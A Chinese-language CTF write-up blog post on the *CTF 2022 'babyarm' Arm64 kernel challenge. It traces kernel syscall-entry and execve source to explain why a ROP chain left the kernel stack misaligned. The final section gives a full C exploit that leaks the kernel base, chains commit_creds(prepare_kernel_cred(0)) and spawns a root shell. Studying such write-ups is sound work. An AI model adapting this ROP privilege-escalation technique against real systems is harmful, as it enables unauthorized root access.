*CTF 2022 babyarm -- 为什么不能开shell

两周前在*CTF上遇到一道Arm64的Linux kernel pwn,虽然漏洞是非常明显的栈溢出,但是学会怎么利用确实花费了一番功夫,因为确实不是很懂Arm64的一些机制,主要是不知道如何正确地从内核返回用户态。虽然最后磕磕绊绊地做出来了,但是最后没法执行system或者execve直接开shell,无奈只能orw读flag,赛后不论是官方发出的WP还是其他师傅的博客,都没有找到解决这个问题的满意的答案。

于是自己花了点时间分析了一下,终于是找到了根本原因,遂写下此文记录一番,同时希望借此互相学习交流。

题目分析

由于官方WP的放出,这里就不再进行赘述,简而言之,它终究还是个Linux kernel,提权的思路都是一致的,就是调用commit_creds(prepare_kernel_cred),然后返回用户态开shell或者orw。

而具体的流程上无非通过ROPgadget dump一下Image中的gadget,然后寻找一些可用的来控制寄存器进行ROP。

这里主要还是想分享一下自己在赛后寻找主要原因的过程。

验证猜想:是否是某些关键寄存器没有设置

最开始的时候,我个人认为可能是某些寄存器在ROP的过程中没有设置正确,影响了后续再进行系统调用的过程,但是仔细想想为什么只有在执行system或者execve的时候才会出现Segmentation Fault,orw却不受影响。

于是我从Arm64处理系统调用的逻辑入手,综合网上的一些资料加上Linux 源码,试图找到哪些Arm64下的寄存器才是“罪魁祸首”(毕竟Arm64的寄存器是在是太多了)。

系统调用处理流程

从用户态svc 0进入内核态开始,其流程大概为:

  1. 进行KPTI的前置处理,其定义通过宏tramp_ventry实现,涉及ttbr1_el1(Translation Table Base Register 1 (EL1),即存放内核页表基址的寄存器)的设置,以及定位异常向量表:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    .macro tramp_ventry, vector_start, regsize, kpti, bhb
    ...
    tramp_map_kernel x30
    tramp_data_read_var x30, vectors
    ...
    ldr x30, =vectors
    add x30, x30, #(1b - \vector_start + 4)
    ret
    ...
    .endm

    .macro tramp_map_kernel, tmp
    mrs \tmp, ttbr1_el1
    add \tmp, \tmp, #TRAMP_SWAPPER_OFFSET
    bic \tmp, \tmp, #USER_ASID_FLAG
    msr ttbr1_el1, \tmp
    .endm

    .macro tramp_data_read_var dst, var
    tramp_data_page \dst
    add \dst, \dst, #:lo12:__entry_tramp_data_\var
    ldr \dst, [\dst]
    .endm

    .macro tramp_data_page dst
    adr_l \dst, .entry.tramp.text
    sub \dst, \dst, PAGE_SIZE
    .endm
  2. 进入异常向量表中对应的处理函数入口,其定义通过宏kernel_ventry实现,主要是在栈上为GPRs(General-Purpose Registers)预留一段空间以保存用户态的寄存器,以及对栈指针sp的溢出检查:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    .macro kernel_ventry, el:req, ht:req, regsize:req, label:req
    ...
    sub sp, sp, #PT_REGS_SIZE
    add sp, sp, x0 // sp' = sp + x0
    sub x0, sp, x0 // x0' = sp' - x0 = (sp + x0) - x0 = sp
    tbnz x0, #THREAD_SHIFT, 0f
    sub x0, sp, x0 // x0'' = sp' - x0' = (sp + x0) - sp = x0
    sub sp, sp, x0 // sp'' = sp' - x0 = (sp + x0) - x0 = sp
    b el\el\ht\()_\regsize\()_\label
    ...
    .endm

    .macro entry_handler el:req, ht:req, regsize:req, label:req
    SYM_CODE_START_LOCAL(el\el\ht\()_\regsize\()_\label)
    kernel_entry \el, \regsize
    mov x0, sp
    bl el\el\ht\()_\regsize\()_\label\()_handler
    .if \el == 0
    b ret_to_user
    .else
    b ret_to_kernel
    .endif
    SYM_CODE_END(el\el\ht\()_\regsize\()_\label)
    .endm
  3. 之后通过kernel_entry宏定义的逻辑,在内核栈上保存寄存器值,包括用户态的SPPCPSTATE(类似于x86-64下的RSPRIPRFLAGS):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    .macro	kernel_entry, el, regsize = 64
    stp x0, x1, [sp, #16 * 0]
    stp x2, x3, [sp, #16 * 1]
    stp x4, x5, [sp, #16 * 2]
    stp x6, x7, [sp, #16 * 3]
    stp x8, x9, [sp, #16 * 4]
    stp x10, x11, [sp, #16 * 5]
    stp x12, x13, [sp, #16 * 6]
    stp x14, x15, [sp, #16 * 7]
    stp x16, x17, [sp, #16 * 8]
    stp x18, x19, [sp, #16 * 9]
    stp x20, x21, [sp, #16 * 10]
    stp x22, x23, [sp, #16 * 11]
    stp x24, x25, [sp, #16 * 12]
    stp x26, x27, [sp, #16 * 13]
    stp x28, x29, [sp, #16 * 14]

    clear_gp_regs
    mrs x21, sp_el0
    ldr_this_cpu tsk, __entry_task, x20
    msr sp_el0, tsk
    ...

    mrs x22, elr_el1
    mrs x23, spsr_el1
    stp lr, x21, [sp, #S_LR]

    stp xzr, xzr, [sp, #S_STACKFRAME]
    add x29, sp, #S_STACKFRAME
    stp x22, x23, [sp, #S_PC]

    mov w21, #NO_SYSCALL
    str w21, [sp, #S_SYSCALLNO]
    .endm

    .macro clear_gp_regs
    .irp n,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
    mov x\n, xzr
    .endr
    .endm
  4. 最后以当前SP作为参数,进入到实际的处理函数中el\el\ht\()_\regsize\()_\label\()_handler -> el0t_64_sync_handler中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    asmlinkage void noinstr el0t_64_sync_handler(struct pt_regs *regs)
    {
    unsigned long esr = read_sysreg(esr_el1);

    switch (ESR_ELx_EC(esr)) {
    case ESR_ELx_EC_SVC64:
    el0_svc(regs);
    break;
    case ESR_ELx_EC_DABT_LOW:
    el0_da(regs, esr);
    break;
    case ESR_ELx_EC_IABT_LOW:
    el0_ia(regs, esr);
    break;
    case ESR_ELx_EC_FP_ASIMD:
    el0_fpsimd_acc(regs, esr);
    break;
    case ESR_ELx_EC_SVE:
    el0_sve_acc(regs, esr);
    break;
    case ESR_ELx_EC_FP_EXC64:
    el0_fpsimd_exc(regs, esr);
    break;
    case ESR_ELx_EC_SYS64:
    case ESR_ELx_EC_WFx:
    el0_sys(regs, esr);
    break;
    case ESR_ELx_EC_SP_ALIGN:
    el0_sp(regs, esr);
    break;
    case ESR_ELx_EC_PC_ALIGN:
    el0_pc(regs, esr);
    break;
    case ESR_ELx_EC_UNKNOWN:
    el0_undef(regs);
    break;
    case ESR_ELx_EC_BTI:
    el0_bti(regs);
    break;
    case ESR_ELx_EC_BREAKPT_LOW:
    case ESR_ELx_EC_SOFTSTP_LOW:
    case ESR_ELx_EC_WATCHPT_LOW:
    case ESR_ELx_EC_BRK64:
    el0_dbg(regs, esr);
    break;
    case ESR_ELx_EC_FPAC:
    el0_fpac(regs, esr);
    break;
    default:
    el0_inv(regs, esr);
    }
    }
  5. 由于异常原因是svc指令,故进入到el0_svc中处理,直接找到最底层invoke_syscall,就是根据系统调用号从系统调用表里查找相应函数,然后执行,并设置返回值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    static void noinstr el0_svc(struct pt_regs *regs)
    {
    enter_from_user_mode(regs);
    cortex_a76_erratum_1463225_svc_handler();
    do_el0_svc(regs);
    exit_to_user_mode(regs);
    }

    void do_el0_svc(struct pt_regs *regs)
    {
    sve_user_discard();
    el0_svc_common(regs, regs->regs[8], __NR_syscalls, sys_call_table);
    }

    static void el0_svc_common(struct pt_regs *regs, int scno, int sc_nr,
    const syscall_fn_t syscall_table[])
    {
    unsigned long flags = read_thread_flags();

    regs->orig_x0 = regs->regs[0];
    regs->syscallno = scno;

    local_daif_restore(DAIF_PROCCTX);

    if (flags & _TIF_MTE_ASYNC_FAULT) {
    syscall_set_return_value(current, regs, -ERESTARTNOINTR, 0);
    return;
    }

    if (has_syscall_work(flags)) {
    if (scno == NO_SYSCALL)
    syscall_set_return_value(current, regs, -ENOSYS, 0);
    scno = syscall_trace_enter(regs);
    if (scno == NO_SYSCALL)
    goto trace_exit;
    }

    invoke_syscall(regs, scno, sc_nr, syscall_table);
    if (!has_syscall_work(flags) && !IS_ENABLED(CONFIG_DEBUG_RSEQ)) {
    local_daif_mask();
    flags = read_thread_flags();
    if (!has_syscall_work(flags) && !(flags & _TIF_SINGLESTEP))
    return;
    local_daif_restore(DAIF_PROCCTX);
    }

    trace_exit:
    syscall_trace_exit(regs);
    }

    static void invoke_syscall(struct pt_regs *regs, unsigned int scno,
    unsigned int sc_nr,
    const syscall_fn_t syscall_table[])
    {
    long ret;

    add_random_kstack_offset();

    if (scno < sc_nr) {
    syscall_fn_t syscall_fn;
    syscall_fn = syscall_table[array_index_nospec(scno, sc_nr)];
    ret = __invoke_syscall(regs, syscall_fn);
    } else {
    ret = do_ni_syscall(regs, scno);
    }

    syscall_set_return_value(current, regs, 0, ret);
    choose_random_kstack_offset(get_random_int() & 0x1FF);
    }

    static long __invoke_syscall(struct pt_regs *regs, syscall_fn_t syscall_fn)
    {
    return syscall_fn(regs);
    }

从系统调用返回

现在需要关注的就是,如何在内核中ROP提权完安全返回,即是从ioctl这个syscall返回。

因为从__invoke_syscall返回后,一切内核原本需要做的动作都没法恢复了,此时有理由怀疑是否遗漏哪些关键寄存器的值没有被恢复,导致内核状态受到了影响。

这里我曾单步跟踪过从syscall返回后的汇编指令,主要是观察是否对哪些寄存器设置了值,并根据手册查找相关寄存器的作用,发现在执行ret_to_user 之前,那些寄存器似乎都不会造成什么影响。

至于ret_to_user,这也是一段汇编指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SYM_CODE_START_LOCAL(ret_to_user)
...
kernel_exit 0
SYM_CODE_END(ret_to_user)


.macro kernel_exit, el
...

ldp x21, x22, [sp, #S_PC] // load ELR, SPSR

.if \el == 0
ldr x23, [sp, #S_SP] // load return stack pointer
msr sp_el0, x23
tst x22, #PSR_MODE32_BIT // native task?
b.eq 3f

3:
...

msr elr_el1, x21 // set up the return data
msr spsr_el1, x22
ldp x0, x1, [sp, #16 * 0]
ldp x2, x3, [sp, #16 * 1]
ldp x4, x5, [sp, #16 * 2]
ldp x6, x7, [sp, #16 * 3]
ldp x8, x9, [sp, #16 * 4]
ldp x10, x11, [sp, #16 * 5]
ldp x12, x13, [sp, #16 * 6]
ldp x14, x15, [sp, #16 * 7]
ldp x16, x17, [sp, #16 * 8]
ldp x18, x19, [sp, #16 * 9]
ldp x20, x21, [sp, #16 * 10]
ldp x22, x23, [sp, #16 * 11]
ldp x24, x25, [sp, #16 * 12]
ldp x26, x27, [sp, #16 * 13]
ldp x28, x29, [sp, #16 * 14]

bne 4f
msr far_el1, x29
tramp_alias x30, tramp_exit_native, x29
br x30
4:
tramp_alias x30, tramp_exit_compat, x29
br x30

sb
.endm

以及最后针对KPTI的处理,也会在tramp_exit中完成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.macro tramp_exit, regsize = 64
tramp_data_read_var x30, this_cpu_vector
get_this_cpu_offset x29
ldr x30, [x30, x29]

msr vbar_el1, x30
ldr lr, [sp, #S_LR]
tramp_unmap_kernel x29
.if \regsize == 64
mrs x29, far_el1
.endif
add sp, sp, #PT_REGS_SIZE // restore sp
eret
sb

如果设置ROP的gadget为kernel_exit中该处指令:

1
ldp	x21, x22, [sp, #S_PC]		// load ELR, SPSR

那么在栈上布置好必要的寄存器,如SPPCPSTATE似乎完全没有任何问题。

execve到底有什么问题

单步调试

于是我选择了一个很蠢的方法,就是单步调试execve系统调用,看看到底是哪一步出现了问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
static int do_execve(struct filename *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
struct user_arg_ptr argv = { .ptr.native = __argv };
struct user_arg_ptr envp = { .ptr.native = __envp };
return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}

static int do_execveat_common(int fd, struct filename *filename,
struct user_arg_ptr argv,
struct user_arg_ptr envp,
int flags)
{
struct linux_binprm *bprm;
int retval;

if (IS_ERR(filename))
return PTR_ERR(filename);

/*
* We move the actual failure in case of RLIMIT_NPROC excess from
* set*uid() to execve() because too many poorly written programs
* don't check setuid() return code. Here we additionally recheck
* whether NPROC limit is still exceeded.
*/
if ((current->flags & PF_NPROC_EXCEEDED) &&
is_ucounts_overlimit(current_ucounts(), UCOUNT_RLIMIT_NPROC, rlimit(RLIMIT_NPROC))) {
retval = -EAGAIN;
goto out_ret;
}

/* We're below the limit (still or again), so we don't want to make
* further execve() calls fail. */
current->flags &= ~PF_NPROC_EXCEEDED;

bprm = alloc_bprm(fd, filename);
if (IS_ERR(bprm)) {
retval = PTR_ERR(bprm);
goto out_ret;
}

retval = count(argv, MAX_ARG_STRINGS);
if (retval == 0)
pr_warn_once("process '%s' launched '%s' with NULL argv: empty string added\n",
current->comm, bprm->filename);
if (retval < 0)
goto out_free;
bprm->argc = retval;

retval = count(envp, MAX_ARG_STRINGS);
if (retval < 0)
goto out_free;
bprm->envc = retval;

retval = bprm_stack_limits(bprm);
if (retval < 0)
goto out_free;

retval = copy_string_kernel(bprm->filename, bprm);
if (retval < 0)
goto out_free;
bprm->exec = bprm->p;

retval = copy_strings(bprm->envc, envp, bprm);
if (retval < 0)
goto out_free;

retval = copy_strings(bprm->argc, argv, bprm);
if (retval < 0)
goto out_free;

/*
* When argv is empty, add an empty string ("") as argv[0] to
* ensure confused userspace programs that start processing
* from argv[1] won't end up walking envp. See also
* bprm_stack_limits().
*/
if (bprm->argc == 0) {
retval = copy_string_kernel("", bprm);
if (retval < 0)
goto out_free;
bprm->argc = 1;
}

retval = bprm_execve(bprm, fd, filename, flags);
out_free:
free_bprm(bprm);

out_ret:
putname(filename);
return retval;
}

static int bprm_execve(struct linux_binprm *bprm,
int fd, struct filename *filename, int flags)
{
struct file *file;
int retval;

retval = prepare_bprm_creds(bprm);
if (retval)
return retval;

check_unsafe_exec(bprm);
current->in_execve = 1;

file = do_open_execat(fd, filename, flags);
retval = PTR_ERR(file);
if (IS_ERR(file))
goto out_unmark;

sched_exec();

bprm->file = file;
/*
* Record that a name derived from an O_CLOEXEC fd will be
* inaccessible after exec. This allows the code in exec to
* choose to fail when the executable is not mmaped into the
* interpreter and an open file descriptor is not passed to
* the interpreter. This makes for a better user experience
* than having the interpreter start and then immediately fail
* when it finds the executable is inaccessible.
*/
if (bprm->fdpath && get_close_on_exec(fd))
bprm->interp_flags |= BINPRM_FLAGS_PATH_INACCESSIBLE;

/* Set the unchanging part of bprm->cred */
retval = security_bprm_creds_for_exec(bprm);
if (retval)
goto out;

retval = exec_binprm(bprm);
if (retval < 0)
goto out;

/* execve succeeded */
current->fs->in_exec = 0;
current->in_execve = 0;
rseq_execve(current);
acct_update_integrals(current);
task_numa_free(current, false);
return retval;

out:
/*
* If past the point of no return ensure the code never
* returns to the userspace process. Use an existing fatal
* signal if present otherwise terminate the process with
* SIGSEGV.
*/
if (bprm->point_of_no_return && !fatal_signal_pending(current))
force_fatal_sig(SIGSEGV);

out_unmark:
current->fs->in_exec = 0;
current->in_execve = 0;

return retval;
}

我本以为在bprm_execve中,exec_binprm会失败,然后goto out,终止当前用户态进程,报错SIGSEGV。

然而实际上,它竟然正常返回了,我依然单步跟踪到了最后tramp_exit中的eret,却发现ELR_EL1以及SPSR_EL1都是0,也就是说程序Segmenation Fault并不是因为execve系统调用本身发生了什么问题,而是从系统调用中返回时,返回到用户的地址为0。

为什么ELR_EL1会为0

显然在正常情况下,用户通过系统调用陷入内核,之后再返回用户态不会出现这样的问题,于是我尝试设置硬件断点,在进入svc 0,内核执行完在栈上保存用户GPRs的逻辑后,在PC所在的位置上设置硬件断点。

结果发现内核在某个位置通过memset将这段内核栈数据清0了,而memset的长度参数为0x150。

由于调试过程中,没法通过backtrace获取到调用栈,于是选择通过上层函数的地址,去/proc/kallsyms符号表里搜,发现来自于load_elf_binary,其调用关系为:

1
2
3
4
5
6
7
8
9
10
do_execve
=> do_execveat_common
=> bprm_execve
=> exec_binprm
=> search_binary_handler
=> fmt->load_binary ( fmt->load_binary = load_elf_binary )
=> START_THREAD ( #define START_THREAD(elf_ex, regs, elf_entry, start_stack) \
start_thread(regs, elf_entry, start_stack) )
=> start_thread_common
=> memset(regs, 0, sizeof(*regs));

所以这里memset是在初始化进程的寄存器,但是为什么这些寄存器在栈上?

继续追踪这里regs来源:

1
2
3
4
5
6
7
8
9
10
11
12
13
regs = current_pt_regs();

#define current_pt_regs() task_pt_regs(current)

#define task_pt_regs(p) \
((struct pt_regs *)(THREAD_SIZE + task_stack_page(p)) - 1)

#define KASAN_THREAD_SHIFT 0
#define MIN_THREAD_SHIFT (14 + KASAN_THREAD_SHIFT)
#define THREAD_SHIFT MIN_THREAD_SHIFT
#define THREAD_SIZE (UL(1) << THREAD_SHIFT) // TRHEAD_SIZE = 0x4000

#define task_stack_page(task) ((void *)(task)->stack)

即内核栈大小为16KB,而pt_regs所在的位置就是栈顶0x150 bytes的空间,而通过svc 0陷入内核中时,用户态的寄存器信息保存的位置却与其稍有偏差,即位于栈顶下方一定偏移处。

根本原因分析

内核栈偏差

从正常角度理解execve的逻辑,其将内核栈上的pt_regs初始化为0,后续再设置相应的PCSP等关键寄存器,最后从内核eret返回时,就会跳转到正确的PC上执行。

然而这里由于在进行内核ROP时,破坏了内核栈,使得SP不再指向内核栈顶所在位置,在进行后续的系统调用时,内核保存用户态的寄存器不再正好位于内核栈顶的pt_regs的位置;而execve在初始化寄存器的时候,仍然是通过栈顶的pt_regs进行设置,因此在内核栈没被破坏的正常情况下,内核返回时会从栈顶的pt_regs获取保存的用户态的寄存器信息。

因此,之所以调用execve会Segmentaion Fault,是因为初始化寄存器时将fake pt_regs中的PCPSTATE等关键寄存器值清0了;设置相应的用户态PCPSTATE等关键寄存器时又没有写在fake pt_regs上,导致从内核返回时尝试执行用户态0地址位置的代码。

如果继续调试可以发现,程序在还没有进行内核ROP之前,如果进入内核态,最开始的SP值都是一致的;内核ROP提权之后,SP的值就发生了变化,出现了一定的偏移,所以内核栈位置很可能是在eret的时候自动保存在某个地方,从而下次再进入内核时直接恢复。(这里仅是猜想)

为什么x86下不需要考虑这种问题

简单看了下x86-64的内核入口代码,发现内核态rsp都需要从PER_CPU_VAR(cpu_current_top_of_stack)获取一遍,因此每次进入内核时rsp都能保证正确:

1
2
3
4
5
6
7
8
9
10
SYM_CODE_START(entry_SYSCALL_64)
UNWIND_HINT_EMPTY

swapgs
/* tss.sp2 is scratch space. */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

...

回到题目

那么现在我想在内核ROP提权后,返回用户态开启shell就很简单了:只要在执行完commit_creds(prepare_kernel_cred(0)) 之后,再调整一下栈的位置,使其平衡到正常状态再返回用户态即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>

void foo()
{
int pid = getuid();
if(pid == 0)
{
printf("[+] Root!\n");
system("/bin/sh");
// execve("/bin/sh", (const char *[]){"/bin/sh", "-c", "/bin/sh", NULL}, NULL);
}
else
{
printf("[!] Failed!\n");
}


// int fd = open("/flag", O_RDONLY);
// if(fd < 0)
// perror("open flag failed");

// char buf[0x100] = { 0 };
// read(fd, buf, 0x100);
// write(1, buf, 0x100);

exit(0);
}

int main(void)
{
int fd = open("/proc/demo", O_RDWR);
if(fd < 0)
perror("open failed");

char *buffer = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(buffer == MAP_FAILED)
perror("map failed");

read(fd, buffer, 0x300);

// int i;
// for(i = 0; i < 0x300; i += 8)
// {
// // if(*(uint64_t *)(buffer + i) != 0)
// printf("%llx\n", *(uint64_t *)(buffer + i));
// }

// uint64_t canary = *(uint64_t *)(buffer + 0x80);

uint64_t kernel_base = *(uint64_t *)(buffer + 0x60) - 0x1b3e44;
printf("[+] kernel_base: 0x%llx\n", kernel_base);
uint64_t gadget = kernel_base + 0x11fdc;
uint64_t prepare_kernel_cred = kernel_base + 0xffffb73e354a24f8 - 0xffffb73e35400000 + 4;
uint64_t commit_creds = kernel_base + 0xffffb73e354a2258 - 0xffffb73e35400000 + 4;
uint64_t control_x0 = kernel_base + 0x00000000000dc468;
uint64_t adjust_sp = kernel_base + 0x0000000000a9edb8;


*(uint64_t *)(buffer + 0x90) = control_x0;

*(uint64_t *)(buffer + 0xA8) = 0;
*(uint64_t *)(buffer + 0xA8 + 0x8) = prepare_kernel_cred;
*(uint64_t *)(buffer + 0xA8 + 0x28) = 0;
*(uint64_t *)(buffer + 0xA8 + 0x30) = 0;
*(uint64_t *)(buffer + 0xA8 + 0x38) = commit_creds;

*(uint64_t *)(buffer + 0xA8 + 0x50) = 0;
*(uint64_t *)(buffer + 0xA8 + 0x58) = adjust_sp;

*(uint64_t *)(buffer + 0xA8 + 0x80 + 0x30) = 0;
*(uint64_t *)(buffer + 0xA8 + 0x80 + 0x38) = gadget;

*(uint64_t *)(buffer + 0xA8 + 0x80 + 0xb0 + 0xF8) = &fd;
*(uint64_t *)(buffer + 0xA8 + 0x80 + 0xb0 + 0x100) = foo;
*(uint64_t *)(buffer + 0xA8 + 0x80 + 0xb0 + 0x108) = 0x60000000;

*(uint64_t *)(buffer + 0xA8 + 0x80 + 0xb0 + 0xe8) = &fd;
write(fd, buffer, 0xA8 + 0x80 + 0xb0 + 0x118);
// write(fd, buffer, 0x20);

return 0;
}

/*
0x00000000000dc468 : ldr x0, [sp, #0x28] ; ldp x29, x30, [sp], #0x30 ; ret

0x0000000000a9edb8 : ldp x29, x30, [sp, #0x30] ; add sp, sp, #0xb0 ; ret
*/

补充一下

在分析过程中自己其实很多细节方面的原理也没有搞得很清楚,可能也存在不正确的地方,如果有发现问题,希望能够批评指正。

Author: Nop
Link: https://n0nop.com/2022/04/28/CTF-2022-babyarm-%E4%B8%BA%E4%BB%80%E4%B9%88%E4%B8%8D%E8%83%BD%E5%BC%80shell/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.